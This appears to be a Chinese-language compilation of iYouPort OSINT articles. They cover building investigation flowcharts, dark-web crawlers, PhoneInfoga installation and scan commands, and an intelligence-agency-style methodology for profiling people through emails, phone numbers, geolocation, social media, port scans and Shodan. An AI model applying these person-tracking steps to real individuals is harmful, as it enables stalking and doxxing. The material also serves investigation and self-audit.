「图」

「图」

流程图从一个主要主题开始，下面有三个子主题。您可以通过使用鼠标双击主题来更改主题的名称。

您还可以通过单击右上角的 “格式”，然后单击 “*Style*” 或 “*Map*” 来调整主题的设计（例如 颜色和形状）。

在下面您可以看到（左）标准流程图、和（右）已调整的流程图：

「图」

「图」

进一步完成开源情报流程图

上面的流程图当然太简单了，无法实际使用于复杂的调查工作。因此，我们将进一步扩展现有主题，并添加新主题。

通过单击一个主题，然后单击顶部菜单中的 “*Topic*” 来开始添加新主题。您可以通过使用鼠标按住主题来拖动主题的位置：

「图」

「图」

通过上面的流程图，您可以知道，使用电子邮件地址可以采取比第一个最简单的图所显示的更多的步骤。

例如，现在可以检查目标电子邮件地址是否曾经发生过数据泄露，以及电子邮件地址是否链接到了某个社交媒体帐户。

但是，应该如何检查呢？这就是需要开始创建子主题的原因：

「图」

「图」

例如，在上面的流程图中显示，您可以采取步骤来检查电子邮件地址是否链接到域，并且可以通过诸如 www.sidn.nl、www.domainbigdata.com 和 www.viewdns.info 之类的网站来执行此操作。

添加注释

您还可以通过单击一个主题，然后单击 “*Notes*” 来添加注释。例如，在注释中，您可以描述特定步骤的含义。

例如，在 “电子邮件地址-@ gmail.com”步骤中，放置了一个注释，表示可以删除一部分电子邮件地址 (“john.doe@gmail.com”) (“@ gmail.com”) 保留用户名 (“ john.doe”) 。

「图」

「图」

导出开源情报流程图

您是否已完成个人开源情报流程图的创建？然后，您可以在所选扩展中导出流程图。

例如，您可以通过 “*Share*” 选项将流程图另存为PDF格式或Png格式。

您是否希望以后能够调整该文件？那就通过 “文件」另存为” 将文件另存为 “XMIND工作簿”。

您自己的开源情报流程图的优势

您是否要构建开源情报研究而不依赖其他工具和列表？您可以根据需要制作流程图，并且可以准确描述所有内容，从而了解自己在做什么。

一个非常大的附加优点是流程图的基本步骤几乎不会改变，您只需要调整最终步骤（工具/网站）。

也就是说，例如，检查电子邮件地址是否链接到域的基本步骤不会很快改变，但是这种检查方式可能会改变。通过在流程图中包括多种选择，您将很少会遇到麻烦。

和任何一种学习一样， 能从书面上教授的都是基本方法，学习取决于举一反N的能力 —— 通过您的具体实践就能发现最适合自己的方法，而后者可能很难通过培训获得。

勤动手是掌握技能的硬道理！不要错过我们的 “开源情报” 栏目，其中通过实例演示介绍的小技巧都是有用的。〇

Create your own OSINT flowcharts

原文

针对暗网的追踪调查：低技术含量解决方案 - iYouPort

开源情报-每个人都可用的武器

一些相对容易使用的方法

「图」

「图」

随着tor变得越来越主流，加密货币提供了一种货币化手段，访问变得越来越容易。而且，就像 clearnet 一样，它只会随着时间的推移而变大。于是对暗网的追踪已经成为开源情报的主要专注领域之一。

开源情报调查人员、收集人员和分析人员，必须熟悉暗网并能够高效地对其进行导航。

还必须能够有针对性地，高效地从中提取信息。

您可以使用以下一些工具来入门，熟悉并熟练检查暗网的艰巨任务。以下是 Jake Creps 介绍的方法，在这里看到原文《 OSINT Tools for the Dark Web 》

Hunchly Dark Web

如果您正在寻找针对数据来源的低端技术解决方案，以进行暗网研究，那么 Hunchly Daily Dark Web Reports 可能是一个不错的起点。

有两种方法。您可以在 Hunchly 网站 上通过电子邮件订阅，也可以在 Hunchly Twitter 页面上关注日常帖子。

请务必注意，这只是一种发现工具。 Hunchly 明确声明他们不分析隐藏服务的内容。您收到的链接可能会引导至毒品市场、儿童色情制品、恶意软件或其他敏感内容。 Hunchly 对此类内容的传播不承担任何责任。

Dark Search

另一个低技术含量的解决方案是最近发布的。它叫 DarkSearch 。

这似乎是一个可靠的暗网搜索引擎，能够使用高级搜索运算符。您可以在任何Web浏览器上查看此搜索引擎，但只能使用Tor或类似方法来跟踪其索引中的链接。

尽管他们的搜索运算符不如 Google Dorks 那样强大，但您可以使用他们提供的结果获得非常具体的信息。

TorBot

如果您正在寻找用于暗网研究的高级工具， TorBot 可以是很厉害的选择。

它使用 Python 3.x，并且需要Tor依赖。TorBot 具有一系列功能，使其可用于多种应用。

功能包括：

1、Onion Crawler (.onion).（已完成）

2、返回页面标题和地址以及有关该站点的简短描述（部分完成）

3、将链接保存到数据库（PR待审核）

4、从站点获取电子邮件（已完成）

5、将爬取的信息保存到JSON文件（已完成）

6、爬取自定义域（已完成）

7、检查链接是否在线（已完成）

8、内置更新（已完成）

9、Visualizer模块（尚未启动）

10、社交媒体集成（尚未开始）...（将更新）

该项目很雄心勃勃。下面列出了一些正在处理的已经承诺的功能，这

些功能非常令人兴奋，其中包括：

- 可视化模块
- 为 WebCrawler 实施 BFS 搜索
- 多线程获取链接
- 提高稳定性（妥善处理错误，扩大测试范围等）
- 创建一个用户友好的 GUI
- 随机化Tor连接（随机标头和身份）
- 关键字/词组搜索
- 社交媒体集成
- 提高匿名性和效率

确保花时间使此脚本运行。

Fresh Onions

Fresh Onions 是一段时间未更新的工具。作为免责声明，您可能会在运行脚本时遇到问题。

但是，即使仅仅是关于使用Python在暗网中可能实现的功能的学术性研究，也值得一看该工具提供或曾经提供的功能。

以下是功能列表：

- 爬暗网寻找新的隐藏服务
- 查找来自多个 clearnet 来源的隐藏服务
- 可选全文弹性搜索支持
- 标记 /r/darknet 克隆站点的超级列表
- 查找隐藏服务中的SSH指纹
- 查找隐藏服务中的电子邮件地址
- 查找隐藏服务中的比特币地址
- 显示到onion域的传入/传出链接
- 最新的隐藏服务状态
- 端口扫描
- 搜索“有趣的” URL路径，有用的404检测
- 自动语言检测
- 模糊克隆检测（要求弹性搜索）

现在该爬虫托管在暗网上，开发人员已提供洋葱URL。您可以在GitHub存储库上查看它。

如果您可以使用此工具，则可以将其与其他工具（例如前面讨论的工具）结合使用，以创建自己的存档。

One-off

创建包含隐藏服务和洋葱域的数据库后您需要对其进行检查，以防止自己遭受恶意材料或更严重的攻击。

Onioff 是用于暗网链接的 onionURL检查器。开发人员很友好，还创建了 一个演示 。所以本文就不演示了。

还值得注意的是， 开发人员 是高中生。他的其他项目包括 dcipher ， caesar 和 kickthemout 。都是很棒的高级东西。

打开链接之前，请确保您知道要打开的是什么！

TorCrawl

现在，如果您正在寻找一个功能强大的工具，并且它具有非常好的Wiki，那么 TorCrawl 值得推荐。TorCrawl 不仅会在Tor上搜寻隐藏服务，还会在服务的网页上提取代码。

安装是非常标准的，克隆git并使用pip安装；如果您尚未安装Tor服务，那么Wiki会提供指向有关该操作的说明的链接。

您可以设置并运行 TorBot，它将始终获得新的DLC。

您可以检查每个洋葱网页上是否可能存在恶意内容，然后手动检查每个页面以进行调查。但在现实中大多数情况下帕累托原理都会适用，您必须在最短的时间内完成最多的工作。

使用 TorBot 可以一次完成所有操作。您将获得网页标记，因此无需物理访问页面即可查看内容。您还可以通过将静态网页另存为.html文件来查看该网页。

我没有花足够的时间来一致地比较每个工具/流程；更新方面目前 TorCrawl 是更新的工具。您可以试试看。○

OSINT Tools for the Dark Web

原文

针对电话号码的高级信息收集和开源情报框架 - iyouport

开源情报-每个人都可用的武器

【2020年11月10日存档】这是 hakin9 介绍的方法，用于对电话号码进行追踪调查

PhoneInfoga 是仅使用免费资源即可扫描国际电话号码的最先进工具之一。目标是首先以非常好的准确性对任何国际电话号码收集标准信息，例如 国家、地区、运营商和线路类型。然后在搜索引擎上搜索相关足迹，以尝试查找VoIP提供商或识别所有者。

特征

- 检查电话号码是否存在并可用
- 收集标准信息，例如国家/地区，线路类型和运营商
- 使用外部API、Google Hacking、电话簿和搜索引擎寻找开源情报足迹
- 检查声誉报告、社交媒体、是否一次性号码等
- 一次扫描多个号码
- 使用自定义格式更有效地进行开源情报侦察
- 新增：从浏览器运行扫描等功能

不能什么：

- 不声称提供完全相关或经过验证的数据，仅是一种工具
- 不允许实时“跟踪”电话或其所有者
- 不允许获取准确的电话位置
- 不允许入侵手机

目前状态

该项目正在积极开发中，但已稳定可用。https://github.com/sundowndev/PhoneInfoga/projects/1

最近该项目已使用Go语言进行了重写（以前是 Python），以改善代码库、可维护性，拥有更强大的测试套件并能够编译代码库。

PhoneInfoga v2 带来了新功能，例如提供 REST API 和Web客户端。扫描器的使用得到了改进，以减少 Selenium / Geckodriver 的使用。

v2 MVP 中未包括某些功能，例如输入/输出CLI选项。该项目的路线图已更改，因此我们可以专注于Web客户端功能，例如下载扫描结果，如 CSV、Instagram / Whatsapp 查找等。v2不再扫描谷歌结果，具体见这里。

安装

「图」

要安装 PhoneInfoga，您需要下载二进制文件或从其源码构建软件。

目前，仅支持 Linux 和 MacOS。如果您在GitHub的发布页面上没有看到您的OS / arch，则表明它未被明确支持。

二进制安装（推荐）

步骤：

- 转到GitHub上的发布页面
- 选择您的操作系统和架构
- 下载、解压缩，然后在终端中运行

您也可以从终端执行此操作：

```
//# Download the archive//

//curl -L "https://github.com/sundowndev/
phoneinfoga/releases/download/v2.0.8/phoneinfoga_
$(uname -s)_$(uname -m).tar.gz" -o
phoneinfoga.tar.gz//

//# Extract the binary//

//tar xfv phoneinfoga.tar.gz//

//# Run the software//
```

```
//./phoneinfoga --help//

//# You can install it globally//

//mv ./phoneinfoga /usr/bin/phoneinfoga//
```

如果安装失败，则可能表示不支持您的 OS / arch。

使用Docker

「图」

您可以直接从Docker集线器中提取存储库：

```
docker pull sundowndev/phoneinfoga:latest
```

然后运行该工具：

```
docker run --rm -it sundowndev/phoneinfoga version
```

您可以使用单个 docker-compose 文件运行该工具，而无需下载源码。

```
version: '3.7'

services:

phoneinfoga:

container_name: phoneinfoga

restart: on-failure

image: phoneinfoga:latest

command: serve

ports:

- "80:5000"
```

从源代码构建

「图」

您可以下载源代码，然后构建docker镜像。

```
docker-compose build
```

CLI 用法

```
docker-compose run --rm phoneinfoga --help
```

运行web服务

```
docker-compose up -d
```

禁用Web客户端

```
# docker-compose.yml

command: "serve --no-client"
```

所有输出都发送到stdout，因此可以通过运行以下命令进行检查：

```
docker logs -f 「container-id|container-name」
```

开始

「图」

CLI用法

```
$ phoneinfoga

PhoneInfoga is one of the most advanced tools to
scan phone numbers using only free resources.

Usage:

phoneinfoga [command]

Available Commands:

help Help about any command
```

```
scan Scan a phone number

serve Serve web client

version Print current version of the tool

Flags:

-h, --help help for phoneinfoga

Use "phoneinfoga [command] --help" for more
information about a command.
```

基本扫描

```
phoneinfoga scan -n "+1 (555) 444-1212"

phoneinfoga scan -n "+33 06 79368229"

phoneinfoga scan -n "33679368229"
```

国家/地区代码和特殊字符（如（ ）-+ ）将被转义，因此输入基于美国的号码会很容易：

```
phoneinfoga scan -n "+1 555-444-3333"
```

请注意，国家/地区代码至关重要。如果您不知道要使用哪个国家/地区代码，在这里找到。

可用的扫描器：

- Numverify
- Google search
- OVH

Numverify 提供标准的有用信息，例如 号码的国家/地区代码、位置、线路类型和运营商。

OVH 除了是一家云托管公司之外，还是一家在欧洲拥有多个VoIP号码的电信提供商。使用他们的API密钥免费 REST API，我们能够判断号码是否归 OVH Telecom 所有。

Google 搜索使用Google搜索引擎和 Google Dorks 在网络上的任何地

方搜索目标电话号码的足迹。它使您可以搜索欺诈报告、社交媒体资料、文档等。

该扫描仪仅做一件事：根据给定的电话号码生成多个Google搜索链接，也就是dorks。然后，您必须在浏览器中手动打开这些链接才能查看结果。这里可能具有不返回任何结果的链接。

启动Web客户端和REST API

「图」

通过带有Web客户端的REST API运行该工具。

```
phoneinfoga serve
```

```
phoneinfoga serve -p 8080 # default port is 5000
```

然后您应该可以在 http://localhost:「port」 上看到该工具。

您也可以选择仅运行没有图形界面的 REST API：

```
phoneinfoga serve --no-client
```

在这里看到演示： https://demo.phoneinfoga.crvx.fr

在这里看到更多：https://github.com/sundowndev/PhoneInfoga

PhoneInfoga—Advanced information gathering & OSINT framework for phone numbers

原文

间谍机构使用的开源情报监视方法：指南 - iyouport

开源情报-每个人都可用的武器

【2020年10月20日存档】用一篇文章从专业级别讲清开源情报的基本操作。其中关联的所有文章都很重要；穿插的所有书籍均免费下载

以下段落摘自CIA官方网站。

总统和政策制定者依靠中央情报局的见识来为自己的外交政策决策提供依据。中央情报局官员在制定评估时使用了多种渠道 ……本文将重点考虑开源情报。

信息不一定必须是秘密的才能有价值。

无论是在浏览的博客中、在观看的广播中、还是在阅读的专业期刊中，都有无穷无尽的信息来帮助我们了解世界。

情报社区通常将此信息称为开源情报（OSINT）。

开源情报在以其相对较低的成本为情报界提供整体见解和背景方面发挥着至关重要的作用。

上图中这本书在这里下载：https://www.patreon.com/posts/kai-yuan-qing-de-38190146

开源情报的来源可以包括：

- 互联网
- 传统大众媒体（例如电视、广播、报纸、杂志）
- 专业期刊、会议记录和智囊团研究
- 各种照片
- 地理空间信息（例如 地图和商业图像产品）
- 等等……

上图中这本书在这里下载：https://www.patreon.com/posts/tu-xiang-qing-38190530

CIA 通过其对DNI开源中心（OSC）的管理，负责收集、生产和推广开源情报。OSC 成立于**2005**年11月1日，是根据大规杀伤性武器（Robb-Silberman ）委员会的建议而成立的，其职责是承担整个情报社区的独特责任。

民间社会组织及其全球合作伙伴网络拥有制作高质量开源情报所需的技能、工具和渠道。这些能力包括**80**多种语言的翻译；来源、趋势和媒体分析；专门的视频和地理空间情报分析；以及罕见的文化和特定主题的专门知识等。

对于OSC主管 Douglas Naquin 来说，牢固的合作关系至关重要。

> “鉴于我们可以通过公开信息解决的问题种类繁多，范围广泛，我认为我们

【注】上面这段话用一个词概括就是：收编。准确说是“公私情报伙伴关系”。

- 推荐您阅读我们对开源情报之能力的分析《这不是一场竞技表演：关于IYP为什么要采取开源情报》

开源情报 一直是“全源”情报分析的重要组成部分，尤其是，信息技术的不断发展使更多的人发出了声音，从而更有可能解决新的情报问题。（【注】“更多人发出声音”指的是人们在社交媒体上说的太多了）

上图中的内容在这里看到：https://www.patreon.com/posts/dui-kang-xing-si-38187798

“例如，公开的消息来源可以告诉我们海外各种团体对总统演讲的反应”，Naquin 说。“我们不必满足于‘官方’的观点，而是可以评估各种群体的看法，以及跟踪一段时间内的趋势。”

“开源是指‘免费’或公开的情报来源，但并不意味着它很容易得到”，Naquin 补充道。为了过滤、理解和分析24/7进入OSC的大量材料，开源情报官员必须精通外语，对文化的细微差别很敏感，是各自领域的专家，无论是视频、地理空间工具、媒体分析还是图书馆学方面。

“如果一个政府改变了对美国的立场，一个对语言理解透彻、对文化

熟悉的分析人员可能不仅能够预测这种变化，而且能告诉我们原因。” Naquin 说。“能够将外语技能、文化知识和先进的搜索技术结合起来的人并不多见。”

【注】对这段话的具体解释，推荐这份报告《所有信息都是战略性的：信息地缘政治》。简单说，全世界所有人的一切信息都在被这样收集和分析，大多数国家都在做这样的事，而不仅仅是美国和中国（虽然中美在这方面有最显著的优势。因为绝大多数互联网服务不是中国的就是美国的）

政策制定者和其他政府官员也依靠这些专业知识来了解他们计划访问的国家的概况。

“不仅仅是指南信息，而是有助于让他们的访问富有成效的细节。如果知道去哪里找的话，在开源情报中能找到的东西是令人惊讶的。”

OSC 将其收集和处理的大部分信息提供给情报界和整个美国政府。除了向所有来源的对应方提供这种 “原始” 数据外，OSC的分析人员还从公开来源中发现并为他人标明新的见解或趋势。

一个有经验的情报分析师会注意到外国政府和组织官方信息中的语气、选词和语法的变化。与过去的声明进行比较，可以深入了解外国行为者如何看待一个事件或问题。这种分析还可以帮助确定他们的 “热点 “或 “红线”。

【注】这就是为什么我们强调：政治评论应该以情报分析的思考方式而不仅仅是观点来呈现。

上图中这本书在这里下载：https://www.patreon.com/posts/cong-jian-die-de-38188158

上图中这本书在这里下载：https://www.patreon.com/posts/38138056

上图中这本书在这里下载：https://www.patreon.com/posts/mei-guo-lu-jun-38188830

与所有情报学科一样，开源情报也有其挑战。庞大的数量量令人望而生畏，要想把麦子从谷子中分离出来，需要技巧、知识和对尖端信息技术的娴熟。

它还需要协同努力，与合作伙伴进行协调，以避免重复、并最佳利用

资源，但开源情报在效力和效率方面的回报是很高的。

Naquin说。“我们工作在两个最具活力的行业的交汇处：媒体和信息技术。这就像坐着皮划艇在两条河流的分叉处顺流而下，这一路会很有挑战，但如果你有技术，它就会很精彩。”

互联网已经彻底改变了开源环境。 Naquin 预计这种趋势将持续下去。

他说，“今天投资于开源情报的组织，就好比一个人在谷歌成立的第一年投资于谷歌。开源情报一直是情报工作中不可或缺的组成部分，但我相信五年后，其价值只会增加。一个对开源情报的价值和潜力有认识的组织在未来将是最有效的组织”。

为什么开源情报对于调查很有价值？

「图」

开源情报之所以有价值，是因为相比诸如 HUMINT、SIGINT、MASINT、GEOINT 等具有更多的技术需求的情报学科来说，开源情报具有更少的严格性和开发过程、以及时间表，此外，开源情报收集了各种各样的宝贵意见，因为它涵盖了各种各样的资料来源。

开源情报为理解机密材料提供了基础。尽管情报社区产生了大量机密材料，但在任何一个主题上产生的机密信息数量都可能非常有限，如果仅从机密来源的角度来看，可能会脱离背景。

【注】开源情报和透明度革命应该相辅相成、互相协助，而不是像今天这样互相排斥。并且已经有成功的融合案例，见《用技术作为促进透明度革命的武器：一个成功的尝试》，这篇文章中详细解释了这个问题。

开源信息可以填补空白并创建关系联系，使分析人员可以更好地理解零散的情报、可能的攻击手段以及潜在的目标。

开源材料可以保护资源和方法。有时，可以在开源报告的基础上解释实际上被告知敏感的机密信息的情报判断。当政策制定者需要解释政策决定或与外国官员沟通而又不至于损害机密消息来源时，这点就会很有用。

只有开源情报才能存储历史。一个强大的开源情报调查实际上可以收

集数据来监测全世界上的文化、以及它们是如何随着时间变化的。使用闭源收集方法提供的快照要想做到这点，即使不是不可能，也是很困难的。

先进的数据分析改变了间谍机构利用数据的方式。另一方面，这些间谍机构正在被不断增长的数据洪峰所淹没。虽然数据驱动的警务正在兴起，但执法人员尚未意识到态势感知的全部好处 —— 如何帮助他们从噪音中区分信号。

上图中的3份资料在这里下载：https://www.patreon.com/posts/cong-gao-duan-ru-39443209

开源情报流程的各个阶段

「图」

开源情报通常在黑客入侵的侦察阶段进行，从这一阶段收集到的相关信息会被带到网络枚举阶段。

由于网络上有大量的信息可供筛选，攻击者必须有一个清晰明确的搜索框架，以及一系列开源情报收集工具来促进这项任务，并协助处理数据；否则就有可能迷失在互联网上铺天盖地的信息海洋中。

- 具体解释详见《开源调查应该是一种心智：得到它你需要几个步骤》

开源情报侦察可进一步细分为以下5个子阶段：

「图」

1、源头识别：作为起点，在这一初始阶段，执行者需要识别可能收集到信息的潜在来源。在整个过程中，消息来源要以详细的笔记形式记录下来，以便以后在必要时再来查阅。

2、数据采集：在这个阶段，执行者从选定的来源和整个阶段发现的所有其他来源收集和采集信息。

3、数据处理和整合：在这个阶段，攻击者通过搜索可能有助于情报产品的信息，对收获的信息进行处理，以获得可操作的情报。

4、数据分析：在这个阶段，执行者利用各种开源情报分析工具对处

理后的信息进行具体分析。

5、成果交付：在最后阶段，完成开源情报分析，并将分析结果提交/报告给红队或其他需求方。

上图中这本书在这里下载：https://www.patreon.com/posts/ai-zi-shi-zhi-de-38193081

下面将介绍在开源情报调查和分析中要使用的一些工具，以及如何有效地使用这些工具。

有大量的开源情报工具可供使用，其中一些是免费的，而另一些则可能要花不少钱。

您可以在我们的 “开源情报” 栏目中看到这些工具的更具体介绍。本文不会一一列举。但将介绍一些比较流行的工具，您可能会发现这些工具对红队行动很有用。

- 《超级情报收集工具库：开源验证和调查工具及使用方法》
- 在网站搜索 “情报工具” 将得到更多内容

执行开源情报就是把您能够推断出的关于某个人或实体的零星信息，通过情报分析工具执行它们，看看还能发现什么。

对开源情报工具的研究

「图」

这里是一套选定的工具，说明了开源情报工具之间的不同。

这些解决方案代表了不同类型的开源情报用例，为可用的开源情报解决方案的规模提供了更广阔的视野。

开源情报解决方案的范围通常非常广泛 —— 这些工具可能被设计成只关注单一的查询，而更强大的开源情报解决方案则有能力进行更大规模的查询。

许多规模较大的开源情报工具都是为政府和巨头公司定制和设计的，预算巨大，自然只有这些有钱有势的家伙才能使用。

这些工具具有强大的自动化流程、人工智能和先进的过滤技术。无疑，公民调查人员无法接触到这样的工具。然而，公众通常可以访问

的工具和资源的数量也是尤其显著的，可以进行强大的搜索。

上图中这本书在这里下载：https://www.patreon.com/posts/cong-fang-yu-dao-38190201

1、搜索引擎

「图」

根据调查背景，您可能想在调查期间使用不同的搜索引擎。Google 和 Bing 用于欧洲或北美的相关调查主题，百度用于亚洲的相关调查主题，Yandex 用于俄罗斯和东欧的相关调查主题。

当然，第一个调查工具就是搜索运算符。您可以在下面找到谷歌的这些搜索运算符的基本列表。

- 《攻防皆可用：GoogleDorking 高级运算符完整列表》

其实您记住一些基本常识就可以，比如，在搜索下面这些内容时，必需用引号将它们扩起来：

- 电子邮件地址
- 电话号码
- 用户名
- PIN码

【注】具体的搜索常识详见这里《巧用互联网，以找到您最想要的信息：搜索思维作为基本功》。

您还可以使用布尔逻辑运算符进行组合查询：AND，OR，＋和-。

- filetype: 允许搜索特定的文件扩展名
- site: 将在特定网站上过滤
- intitle:和 inurl: 会过滤特定标题或 url
- link:: 查找指向特定域名或URL 的网页（于2017年弃用，但仍然可以部分使用）

【注】具体使用方法见这里《一个搜索统治一切：调查用心而非技术》。

还有以下这些例子：

- NAME ＋ CV ＋ filetype:pdf 找到目标人的简历
- DOMAIN—site:DOMAIN 找到网站的子域
- site:example.com/folder: 如果您知道某个站点的基本架构，则可以结合使用，例如：site：amazon.com/China
- site:sub.example.com: 帮助深入研究特定的子域。例如 site:local.amazon.com
- site:example.com inurl:abc: 找到子域。使用 “inurl:” 比直接将子域放入主查询要灵活得多。例如，site:amazon.com inur:local
- site:example.com inurl:https: 这种组合有助于查找 Google 编入索引的所有安全页面。例如，site:amazon.com

【注】上面那本书很重要。

上图中的手册在这里下载：https://www.patreon.com/posts/zui-xin-de-lie-38192288

2、图像

「图」

对于图像，您需要了解两件事：如何查找图像上包含的任何其他信息、以及如何查找相似的图像。

首先就是从元数据入手。它通常包含创建日期、使用的相机、有时是GPS数据等丰富且危险的信息。

ExifTool 是很好的选择，但 Exif Viewer 扩展也非常方便（适用于 Chrome 和 Firefox）。此外，您还可以使用这个惊人的照片取证网站，有许多有趣的功能。其他的替代方案包括 exif.regex.info 和 Foto Forensics。

【注】更多元数据工具详细介绍在这里《从自我保护到有效利用》

要找到相似的图片，您可以使用 Google Images、Bing Images、Yandex Images 或 TinyEye。TinyEye 有一个有用的API，Bing 有一个非常有用的功能，可以让你搜索图像的特定部分。为了得到更好的结果，删除图片的背景可能会有帮助，于是 remove.bg 可以帮助您做到。

【注】不同的图像工具有不同的特点，要根据您的具体调查需求来选

择，于是您最好能熟知它们各自的特征，可以在这里看到对比《搜图功能哪家强？图像验证方法的能力对比》。

并没有简单的方法来分析图像的内容并找到它的拍摄位置。您必须在图像中寻找特定的线索，然后在网上进行研究，并与原始图像进行比较。您可以在 “侦探挑战” 系列中看到非常多的演示和工具使用。

3、社交网络

「图」

社交媒体情报是开源情报的重头戏，于是从社交网络上挖掘情报的工具特别丰富。但是这些工具的效果在很大程度上取决于具体平台。

- 这里是基本方法《从跨平台跟踪到心理分析：社交媒体情报收集简易指南》

【注】您可以通过在网站上搜索 “社交媒体情报” 找到很多工具和详细解读。

上图中这本书在这里下载：https://www.patreon.com/posts/she-jiao-mei-ti-38144070

比如 Tinfoleak.com，可以在其中获取有关任何 Twitter 用户的详细信息。它是完全基于Web的，不需要用户进行任何安装。

要想通过 Tinfoleak 从 Twitter 上获取用户相关数据，只需要提供目标用户的 Twitter 用户名，只能是公开用户。

作为查询的结果，Tinfoleak 会提供一份关于目标用户的详细报告。该报告提供了用户的基本信息（如姓名、照片、位置、关注者等），以及 Twitter 用户使用的设备、操作系统、应用程序和社交网络的信息，Twitter 用户访问过的地点和地理位置坐标，允许下载 Twitter 用户的所有图片，还显示了 目标 Twitter 用户使用的所有标签和话题（含日期和时间），以及目标 Twitter 用户在其推文中提到过谁。

Tinfoleak 还利用推文和图片中的地理信息定位用户发推的地方。

工具总是那么令人兴奋，但是，必须强调：工具并不重要，重要的是您用工具做什么。如果您不知道自己在做什么，工具并不会帮助你，它们只会给你一长串你无法理解或评估的数据。

您需要的是，测试工具，阅读它们的代码，创建自己的工具等等，但要确保您了解它们的工作方式。最好的工具箱是你足够了解、喜欢并能够熟练掌握的工具。理论上这并没有普适的列表，对于政府间谍来说也一样。

案例管理和方法论

「图」

情报收集计划 ICP 是大多数现代武装部队和情报部门使用的系统过程，通过分配所有可用资源的任务来满足情报要求，以在规定的时限内收集和提供所有相关信息。制定收集计划是情报周期的一部分。

尽管 ICP 没有规定的格式，但它必须使用所有可用的收集功能来满足决策者的优先级要求。它必须精确而简明，但也要足够灵活，以应对变化的发生。

【注】切勿因觉得自己国家的间谍机构无法获得哪里的信息，就认为此处“安全”，因为没人能说清楚全世界究竟有多少情报共享 —— 直到它们被揭露。比如这里《没有美国的五眼联盟，被保密了近50年，今天依然活跃》。

上图中这份报告在这里下载：https://www.patreon.com/posts/mi-mi-jian-shi-38193590

案例管理

「图」

组织是效率的关键，对于减少错误和混乱、节省时间和金钱、以及提高结果的整体质量至关重要。

如果您买不起花哨的案例管理软件，如 i-sight / Maltego …… 也不用担心，Zotero 已经基本覆盖了主要功能。

Zotero 可帮助您以任何方式组织您的研究资料。您可以将项目分类到集合中，并用关键字标记它们；或创建保存的搜索，这些搜索会在您调查工作中自动填充相关材料。

OSINT Browser 用于案例管理：

「图」

(1) **Oryon** (Free) Oryon C Portable是一种网络浏览器，旨在帮助研究人员进行开源情报调查。 Oryon 随附了数十种预装工具和按类别分类的一组精选链接 —— 包括那些可以在OI共享资源中找到的链接。

(2) **OSIRT** (Free) URL:http://www.osirtbrowser.com/ 请注意，此浏览器是专为警察定制的。

(3) **EPIC** (Free) Epic 通过阻止跟踪脚本来保护您，而浏览器扩展无法做到这一点。不幸的是，任何浏览器插件都可以访问您的整个浏览和搜索历史，尽管许多浏览器插件可以保护您免受某些跟踪器的侵害，但它们本身通常也会收集您的数据并有可能将其出售给其他人。请记住这点。

尽管有很多开源情报技术和机制，但并不是所有的技术和机制都能为您的调查目标服务。所以，首先您将不得不问自己至少以下这些问题：

- 我在找什么？
- 我的主要研究目的是什么？
- 我的追踪调查目标是谁或什么？
- 我该如何进行研究？

请找到有关这些问题的尽可能准确的答案。这是进行任何开源情报调查的前提。你必须确定哪些来源是好的，哪些来源与你的研究无关。

下面是最流行的基本开源情报技术流程：

「图」

- 收集员工的全名、职务和他们使用的软件；
- 查看和监控来自 Google（尤其是使用 Google Dorks）、Bing、Yahoo 等网站的搜索引擎信息；更多工具见《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界》
- 监视个人和公司博客，以及在数字论坛上查看目标用户活动（跨站追踪）
- 标识目标用户或公司使用的所有社交网络；
- 查看社交网络（如 Facebook，Twitter，抖音、LinkedIn 等等）上所有可用的内容；具体操作见《社交媒体情报和反情报基本工具手册：自我人肉（2）》

- 使用 Pipl 等人员数据收集工具，该工具将帮助您在一个地方揭示有关目标个人的大量信息；更多 “搜人”引擎在这里、这里、和这里找到；
- 从Google访问旧的缓存数据 —— 通常会显示有趣的信息，综合性指南在这里《如何快速找到你想要的东西：追踪数字证据的小技巧》；
- 识别手机号码、以及来自社交网络或 Google 搜索结果的邮件地址。《充分了解你的攻击目标：进行电子邮件侦查的简单方法—黑客主义行动力（7）》；《如何快速找到一个人的电子邮件地址？：5个简单的方法》；《如何使用 Facebook 挖掘任何人的私人电话号码》；《如何侦查电子邮件和电话号码？开源情报调查工具》……
- 在常见的社交照片共享网站（例如 Flickr、Google相册等）搜索有关目标人的一切照片和视频；
- 使用Google地图和其他开放式卫星图像资源检索能够暴露目标用户地理位置的图像；
- 使用 GeoCreepy 之类的工具来跟踪地理位置信息，以清楚地了解用户的当前位置；
- 使用自动化的开源情报工具检索信息，例如 Spiderfoot 或 us，关于前者，这里有详细解释《如何自动执行情报搜集？蜘蛛脚入门指南》；以及示范《揭露加密货币投资骗局：蜘蛛脚演示自动化开源情报调查》；
- 使用 OSINT Browser 之类的资源；
- 使用 SecurityTrails 工具包探索DNS以及域、子域和IP地址；
- 针对目标服务器基础结构运行端口扫描程序以查找正在运行的服务；
- 使用 Shodan 搜索目标的所有联网设备。见这里《搜远程桌面、摄像头、打印机、家用设备 … 等一切的超级Shodan搜索》

上图中这本书在这里下载：https://www.patreon.com/posts/xiao-e-mo-wan-38190098

以及，《如何窥探摄像头》、和《黑客网络情报》。

上图中这本书在这里下载：https://www.patreon.com/posts/hei-ke-wang-luo-38140427

您会发现的一些最流行的技术。然而，在做完开源情报研究之后，您会有很多数据需要分析。这时，您就必须完善刚才的调查结果，并详细搜索所需要的所有真正必要的东西，放弃其余的东西。

您到处都能找到的经典开源情报方法论是僵硬的：# 定义要求：您在寻找什么？

- 检索数据
- 分析收集的信息
- 数据透视和报告：要么通过透视刚刚收集到的数据来定义新需求，要么结束调查并编写报告

1. 《你的全能钥匙扣：作为一名公民调查者的基本脑图》

- 《重要的小技巧：创建自己的开源情报调查流程图》

1. 本文取自专业政府间谍对开源情报的使用 —— 包括监视社交媒体情报以扼杀所有反抗；

- 因此，您完全可以用这套方法来调查您自己和您的组织，抢在坏人前面堵住您发现的任何泄漏；
- 本文中关联的所有书籍均免费下载，如果您希望深度研究该领域，这些书籍都很有用。请记得，下载后个人阅读没有任何问题，但您不能出售它们以盈利。

○

原文

非物质劳动和数据收集：Facebook 的算法工厂 (第1部) —— 关于数字极权是如何剥削你的

关于Facebook-这不只是一家公司开源情报-每个人都可用的武器算法暴政

【2019年5月21日存档】这是 Facebook 调查三部曲的第二个故事，名为 Facebook 算法工厂，旨在揭示、绘制和可视化隐藏在世界上最大的社交网络黑匣子后面的复杂而隐蔽的东西，关于你我如何被利用的真相。尤其，希望这些演示能为中国民间的独立调查人员提供参考（第一个故事在这里《深层政治：Facebook金字塔的人形肌理》）

